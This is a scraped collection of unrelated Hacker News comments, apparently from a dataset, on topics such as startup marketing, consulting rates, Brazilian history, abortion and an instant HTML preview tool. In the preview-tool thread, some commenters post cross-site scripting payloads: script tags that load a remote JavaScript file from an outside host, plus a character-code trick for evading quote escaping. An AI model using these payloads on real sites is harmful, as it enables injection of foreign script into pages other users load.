skysight-inc/HackerNews huggingface dataset:
Nice little app! As a longtime MailPlane user, I'm a bit hesitant to give up the web interface and the cool stuff that comes with it (labels, undo send, inline IM), but I'm potentially excited to never have to deal with the gmail html+js interface that is sometimes agonizingly slow.
This is great, a great learning tool. Thank you for sharing (or even making?) this!
Exactly - Brazil's history and relationship with Portugal bear little resemblance to the USA's relationship with the UK. Brazilians in general are, if not proud, then at least amused by their country's royal history, and most major Brazilian cities have streets named after famous royals.

http://en.wikipedia.org/wiki/History_of_the_Empire_of_Brazil...
Here it's just a lazy way for clueless HR people to say "highly/broadly skilled." It indicates as little thought as someone who says, "You rock!" when you performed some technical task they don't understand, whether it took ten hours or ten minutes.

Someday we may well ask, "What was it, once, to rock?"
A rock star is somebody who plays in a rock band!

There is no such thing as a rock star developer. It's a stupid stupid term. You have no inherent connection with rock music, you are not famous and don't have thousands of adoring fans. I'm convinced that a number of balding, pony tailed idiot developers and snotty college grads think they do - but you don't - get over yourself.

Stop using the term, right, now, it's stupid, seriously.

I'm not going to get started on "code ninja". Jesus... WTF comes up with this rubbish.
In my experience consumer start ups use ror. Business startups use .net. U will get gouged if u blow up and ur using ms stack. Especially SQL server. Look at prices for enterprise edition, which is required for horizontal partitioning.
I'm guessing you are going to stick to "web development", in which case, knowing C++ is irrelevant.

In the case of python and ruby, while these jobs are high profile, they are relatively rare at the moment, especially python.

Java and ASP seem to be their own walled gardens of career development. Try to climb in if you want, but they don't really lead to anything else, but might be a good place to be.

Only knowing PHP is a good problem to have. Lots of jobs there, especially contracting.
Why is this noteworthy?

$('textarea#markup').keyup(function(){
$('div#preview').html( $(this).val() );
});
Every Peets manager in South Bay hates you now.
I wouldn't consider it a startup, but I do consider them as a company trying to change the game. You can tell by the hate they receive from some agents out there.
PwC Recruits Undergrads on LinkedIn
If you’re a politician, it’s easier to admit your ignorance when your five predecessors who claimed to know what they were doing got brutally mugged by reality.
My iPhone app just came out. So far I've just been emailing bloggers and advertising on cheap sites. Also, tweeted about it!

What do you guys suggest to market an iPhone app (more specifically, productivity/utility $1.99)? What has worked for you?
Hm, dangerous back button. I liked the fact it served as an undo, but I wanted to navigate back here to say so, and had to click though a whole minute of edits. I would suggest not breaking the default functionality, back buttons should go back. Instead add an undo/history/revision button.
Good infographic. It might have been helpful to explain a little more of what astroturfing is to the uninformed though (examples).
You are correct that 'real' means royal but it also means true or authentic (similarly in English).

I think that probably more accurately describes their intention behind the meaning of the name.

When I lived in Brazil in the 1990's, shortly after the currency changed from Cruzeiros to reais, the exchange rate was around 1.5. Today, it's 1.69 - there have been some relatively mild fluctuations since then but it has stayed remarkably stable.
Beautiful language and beautiful library for web programming. It imports all the practical stuff from heavy theory and mixes it in a coherent environement.

I've seen at least : monads for effects, functionnal reactive programming for reactive interfaces depending on signals (generating javascript behind the scene) and type level functions and records for powerful metaprogaming / generic programming in the haskell sense (independant of the types but dependant of their structure).

The last point is a very powerful one, making Ur's type system more expressive than Haskell's (but I saw recently that Haskell will also introduce kinds).

I'm not knowledgable enough, so I would be interested in an explanation of what the advantage of those compared to SYB-like generics (I would say no runtime type info attached and so more static checking ?). I think generics are not used enough and maybe Ur has a good point here : making easier and safe all the boilerplate of manipulating data representations, which is especially important in a world like web programming.

And I would also like to know what's with in the XML and SQL DSL's : is it a combinator library with syntactic sugar (I guess Scala does this) or is there more type hackery in it also using type transformations ?
Poker Bot Strategy for Postflop Play
Martin Fowler's Domain-Specific Languages book is out
Mee too! Maybe 1-2 days before or after Startup School, I imagine many people will be flying in for a week or so around the event.
Even though he only brings it up at the end reverse DNS entries could end up being the scariest.
Some thoughts:

If you're going to the show, go with a goal. Just being there is only valuable if you're lucky and happen to meet and chat with the right person. These types of events are typically heavy on the alcohol and networking and don't make for a great environment to pitch your company. Given that, you need to do everything you can to improve your chances of meeting valuable people.

For example, If you're goal is to meet investors, look through the attendee list and find all of the investors that you want to talk with. Ideally you'd go to the event with someone else so that either you or that person can roam the floor looking for people that you've targetted. Give those people a small flyer or business card, mention where you're at in the room, and ask them to stop by if they have a moment.

If you get someone at your table that you think is valuable to your business, be short and sweet with them. Most of these people are there to drink and meet and greet. Don't trap them at your booth. Give them the quick pitch, tell them why you're unique and interesting, get their business card, and tell them you'll follow-up with them after the show for a coffee meeting.

If people come by your booth and they don't seem like a good fit for what you're doing give them the polite pitch and encourage them to move on (without being rude). If you just go to the show and sit behind the table you'll likely leave disappointed and frustrated. You need to proactive and network as best you can.
Ah. Thanks for pointing that out.
Apple Fights $625 Million Verdict in Patent Suit
wonderful article.. I really love it :) it raises lots of question how this is possible, how many people get impacted.. Anybody did any significant financial loss?? or few people know about this able to take any benefit?? but this is definitely a bold decision and executed well towards result..
Which community would you rather be part of?
> The firm, Adler noted, managed to get the D.C. Department of Health, the D.C. Fire Department, the Department of Consumer and Regulatory Affairs, and even the Environmental Protection Agency to pay visits to the small burger joint.
The people who are asking for more inflation in the USA are asking for something in the 2% range, or (for those who are truly bold) asking for prices to rise to the level they would be at if inflation had remained in the 2% range for the past five years or so.

Stable money is good, but so is providing people with an incentive to spend and invest, rather than incentives to hoard cash and default on their debts.
Off topic:

I just tried embedding a marquee inside of a marquee and it surprisingly worked.
Milpitas/Fremont: clean tech
The reverse DNS bit would be amazing. Do a bobby tables on it and watch sites fall just from visiting them.

Of course I wouldn't -do- such a thing, but it would be crazy to see.
Avatar producer explains how to market to kids despite PG-13 rating
While it is true that this is dead simple to implement (and probably exists elsewhere. I know there are plenty of side-by-side editors that require you to push a button. I bet one realized they could eliminate that.), it's still very useful for people learning HTML, wanting to try some obscure thing with HTML super-fast, etc.

Easy to implement != useless or boring. Look at Twitter.
You mean like my Samsung TV gained both Hulu and Amazon support after I bought it?
I wonder why shut down? Is this due to investors? Does it takes a lot of effort and time to maintain or the founders are moving on with their professional lives and having a start-up on the side is looked down upon within large Internet companies?
Thank you for that.

I'll admit I didn't really have ancient China or Greece in mind when I referred to the past -- I was thinking more along the lines of the past couple hundred years in the West. You know, that same group of folks that we criticize and feel so morally superior to on account of slavery. I mean, slavery among the Aztecs or the ancient Romans was bad, but somehow we gloss over that. It's just a part of who they were, something they did in moral ignorance. By contrast, we feel that 18th century Americans and Europeans should have known better.

We criticize that group for slavery, but I think they would criticize us for our practice of abortion. The history on that page seems to match my intuition on that; abortion was illegal (for heaven's sake--it was a capital crime in the UK!) and disgraceful, though certainly practiced. I stand by my assertion that the past would be apalled at us. Rightly so, I think.

Looking toward the future, I find the diversity of recent law in many countries interesting. But one pattern I particularly find interesting -- and perhaps I pick it out because it matches my expectation -- is the proliferation of age limits. Legal abortion before eight weeks, ten weeks, twelve, fourteen, even twenty-four, depending on the country; illegal thereafter with exeptions for emergencies. The younger the life in the womb, the more I think reasonable people can disagree on its status. During the first trimester, when 20-40% of pregnancies fail anyway despite our best efforts, when the shape of the body is alien and the activity of the mind couldn't even be called sleep, the degree of tragedy in abortion is debatable. By the third trimester, when the thresholds of viability and ability to react and interact and play and feel joy and pain have all been passed, anyone who thinks it isn't a baby isn't paying attention.

Slavery throughout history has not been a uniform phenomenon. Sometimes it looked a lot like employment does now; sometimes it involved human sacrifice. Even in the antebellum south, the experience was diverse; post-emancipation, there were slaves who loved their masters as family and stayed close and took their names, others who hated them with bitter and justifiable fire. But we remember and criticize the cruelty -- the worst incarnation of slavery. That is what we remember, that is the thing about which we say, "How could they have let that continue for so long?"

So it will be with us. As science advances and viability retreats younger and younger and we discover invisible threads of humanity in younger and younger lives, the window of reasonable disagreement will shrink. Maybe to 20 weeks, maybe to 12, maybe to 8; I don't know. We won't be remembered for our prompt six week abortions--that might always remain a religious question. But the bloody affairs at seven and a half months on tenuous reasoning?

Barbaric. I think future generations will ask, aghast, how we could possibly have allowed that.
It has Ethernet. I wonder if it does gigevision?
This is actually a great example of how to discourage stupid humor on a (mostly) serious website.

Heck, I downvoted it.
In that case (no pre-defined expo layout), print a very large best-guess floorplan of the bar (do reconaissance tomorrow if you can) and create the "seating chart" when you get there using pre-printed logos/names of the other companies. Put it on one of those easels. Get there super early so you can get the prime position (at least for a sign of this type) near the primary entrance (assuming you can stake out spots). Arrange business cards like seat assignments.

Since you have a mobile Marrily edition, consider building an online version "seating chart" of the ad-hoc expo map as well. If I were going to this, I would find a map useful, especially if all I had to do was go to a short URL.
Nice! Very similar to my live HTML/PHP editor for Mac OS X called HyperEdit:

http://www.tumultco.com/HyperEdit/

A couple of ideas:

* Utilize contenteditable to go the opposite direction

* Bookmarklet to open any page you are viewing in htmlinstant.com

* Save the document to local storage (cookie or html5 client-side db) in case the page is closed

* Snippets for commonly used functions (like table or list tags)

And of course the further you take the editor, the more capable this will be. Bespin (https://bespin.mozillalabs.com/) in the best in-browser editor I've seen.
No doubt; I'm just surprised that something this common made the front page, even if putting "instant" in front of things is all the rage.
>From your link, it appears abortion has been controversial for the entire duration of recorded history

Hmm, okay, but I was thinking in terms of a comparison with
our current feelings. It's still controversial now, but it wouldn't really be accurate to say that 'our society' views the practice as barbaric - though of course many individuals do, and doubtless always have and will.

I don't believe that we are any more likely to choose abortion now than at any other point in history. The option is a lot easier now, so the numbers presumably work out higher, but it's more than just a societal phase that makes it seem appealing (for want of a better word) to a lot of people.
The Social Network, Where Women Never Have Ideas
1. Noteworthy lies at the intersection of "useful" and "unique." "Complicated" and "difficult" doesn't come into play.

2. Because it's something immediately useful to which I can direct anyone learning HTML so that they get instant feedback.
Envelopes are for sissies ;-)
Printable Ball Bearing by RayRayWasHere
on amazon:
http://www.amazon.com/Domain-Specific-Languages-Addison-Wesl...
IPhone apps put user privacy at risk
Are there any design/font people that can tell me why the font in the article is so hard to read?
I would suggest learning both Ruby (plus Rails) and Python (plus Django). There are plenty of PHP shops with nasty code bases thinking (even if only superficially) about developing to those languages and frameworks. Even if that never actualizes, it makes you as a candidate look more attractive.

I would also suggest really wrapping your head around client-side technologies if you haven't already. In particular, JavaScript plus jQuery.
You have definitely been undercharging.

$75/hr is the low end, and $200/hr is the high end.

As one data point: when I ran an independent consulting practice from 2002 - 2006, my prices started at $125/hr and grew to $225/hr.
I'd like to point out Firebug has this feature and much more.
I use it for streaming Netflix only. If there was another way I'd be all over it.
First Photo of Jungle, Panasonic's Portable Online Gaming System
This.

I vividly remember the day that I woke up and decided that from now on, I would charge $175/hr instead of $125/hr. Bookings actually increased.

Just keep raising your rates until

(a) You can't get any more gigs, or

(b) You feel too guilty to raise them anymore.
but the big problem for you guys is: it's expected that China holds something around 1 trillion of the US GDP in treasury bonds. So whenever they feel the US economy isn't trustworthy anymore, selling these will hit like a train.

their growth rate is really high right now, so it's a delicate situation.
Jason mentions how the old payment structure led to a "happy few and frustrated many." I have a hard time believing there's enough revenue from the contributions of the few to significantly improve the compensation for the many.
Nice. No disrespect to the author because yeah it looks handy, but 2.7 megs for 1 page of text? Give me a break. We've got limited download quotas here.
It's noteworthy because it says "instant".
I am the author of the piece and I agree the title is poor but the title came before the piece did so apologies that it did not go where I promised.

The title is a riff on Johnathan Zittrain's "The future of the internet & how to stop it" http://futureoftheinternet.org/ and the post was a pretty free-form exploration of the topic written with a tight deadline.

I'm glad people are enjoying it, I honestly didn't know what the reaction would be when I posted it.
Making a script tag load an arbitrary remote script file without a space:

<script>s=document.createElement("script");
s.setAttribute("src","http://www.skullsecurity.org/test-js.js");
document.body.appendChild(s)<script>

For our convenience I put newlines in, just remove them. I checked it on the javascript: line (where you have to add javascript:, surround it with void(), and change the semicolons to commas). If that doesn't exactly work, something like it could. Any JS framework with the ability to use objects to set attributes on a new tag could be written more concisely but this doesn't depend on any frameworks.
On a market crash, all that vanishes is what never actually existed. It's when we wake up from that consensual hallucination.

The catch is that not all people wake up at the same time.
I think #startups might do well to adopt this policy, at least a bit.
It's also valid to mention that the impeached president also ended up helping out in one way: he froze the saving accounts, since one way to stop inflation is to cut down the buying power of the population.
Here's one example:

Senior Scientific Software Developer

http://www.eyesopen.com/careers#sssd

Not sure what level of O-Chem you studied, but from the limited salary data that I am privy to, it seems that you need a graduate degree in Chemistry before this starts to add significantly to your base salary.
Pretty extensive list... could anyone recommend some less technically orientated business books (startups, small business?).
I loved that Rand "quote" too, when I saw it.

Reading Atlas Shrugged made me an asshole for at least 2 weeks - I remember some stormy arguments with my flatmates over drinks.

As polemic it's amazing; as a moral code it's callous.
and we'll be glad to have you :)
They really mean it when they say "never trust user input".
You are at UC Santa Cruz, quite possibly the most beautiful university in the country. Enjoy the redwoods, the banana slugs and the amazing views of Monterey bay while you are there.

For comparison, over the hill my office is on a university campus that is mostly concrete, ringed by areas you may not want to travel alone at night, and in the fall shrouded under a thick pocket of San Jose's brown smog.
I see you posted a question about this six months ago: http://news.ycombinator.com/item?id=1248389
I'm not sure how much it's worth but I was happy to subscribe for $1 and sent a separate gift via PayPal for $10.

Go get 'em Marco!
Well, it is true that probably 100% of my BOEC calculations are done entirely without the use of a physical envelope, so I couldn't disagree with you.
If you want extraordinary people, can you compensate them extraordinarily or provide an extraordinary environment?

Being able and being willing may take a while to converge, usually after interviewing a large number of the ordinary.
appendChild returns the appended child, so you can shorten that to the following:

<script>document.body.appendChild(document.createElement("script")).src="http://www.skullsecurity.org/test-js.js"</script>
Exactly, it's like a crippled version of Firebug.

At least in Firebug, when you reload the page your Javascript edits are still there.
Let's see, do I want to be a faux-hawk haircut havin' hipster that smells like a can of Axe body spray exploded, or do I want to be a cave (cubicle) dwelling, socially-inept nerd who has never touched a woman?

Tough choice, really.
String.fromCharCode() can also be useful when some characters are stripped/escaped (such as quotes).

document.write(String.fromCharCode(72,69,76,76,79));
> It only works the first time you try it.

Once for every generation. Don't overestimate people's ability to remember.

Besides, if you do it correctly, you only need to do it once.

I don't trust the current favorite candidate to keep doing it right, BTW.
I don't see the moral problem this article hints at. The film is rated PG-13, not the concept of Avatar or the merchandise.

And given the comments about True Lies any subversion of the rating system sounds like a great thing. Obviously otherwise excellent movies are being made into mediocre crap so that they can reach a wider audience and rake in more money.
Lyle's Law of Discoverability [pdf]
Would love to see something like this support CSS.
In Your Dreams
If you're in the bay area there are way better things to see than those things. those are just famous startup places
That is what classic theory says and, in truth, for a brief period of time, inflation receded when Collor (the impeached) froze savings.

However the fact is that it recovered back again to high levels during Collor's mandate.

The cut down in buying power was achieved mostly through fiscal policy, not consumption restriction.
The problem is not even in selling. They would need someone to sell to. Once China stops buying it will be the beginning of the spiral down in the prices of US bonds.

China is the only emerging market that needs the US economy going and for the American consumer to keep its purchasing power. China can only stop buying when their domestic market gets big enough to sustain the hit that it will eventually come.
this list is huge and awesome. thank you!

I would say JavaScript the Good Parts is pretty much the bible of JS for the client, the definitive guide is nice, but a lot of stuff in there is very dated. It's not a good guide for DOM manipulation. The JavaScript cookbook by shelly powers (c) 2010 is much better.

Also, High Performance JavaScript by Nicholas C. Zakas is a great book for people who need to go from beginner to intermediate / advanced.
Someone Could Make a Lot of Money with Personal Finance Software
Since the arrival of e-mail, I keep my envelopes in the same drawer as my slide rules.
Why shut down? Put ads on it and let it run.

You still have some traffic

http://www.alexa.com/siteinfo/12seconds.tv
If you live near a store, you can bring in any Windows 7 compatible PC and the Store techs will do a clean install of Windows 7 (NOTE: If your PC already has WIndows 7 on it, you're good to go - no new license is required!

Meaning, if you bought a Windows 7 computer somewhere else (with crapware, etc.) you don't have to buy a new license--they just clean off the crapware for you and install their stuff.
If you're interested in learning the philosophy behind Virgin from start to finish, I highly recommend Richard Branson's Business Stripped Bare.

I just finished reading it a couple weeks ago. It's a quick/enjoyable read, but also contains quite a few valuable takeaways that are applicable to any business.

http://www.amazon.com/Business-Stripped-Bare-Adventures-Entr...

(Unrelated, and this one obviously isn't, but what's the HN stance on affiliate links to sites like Amazon?)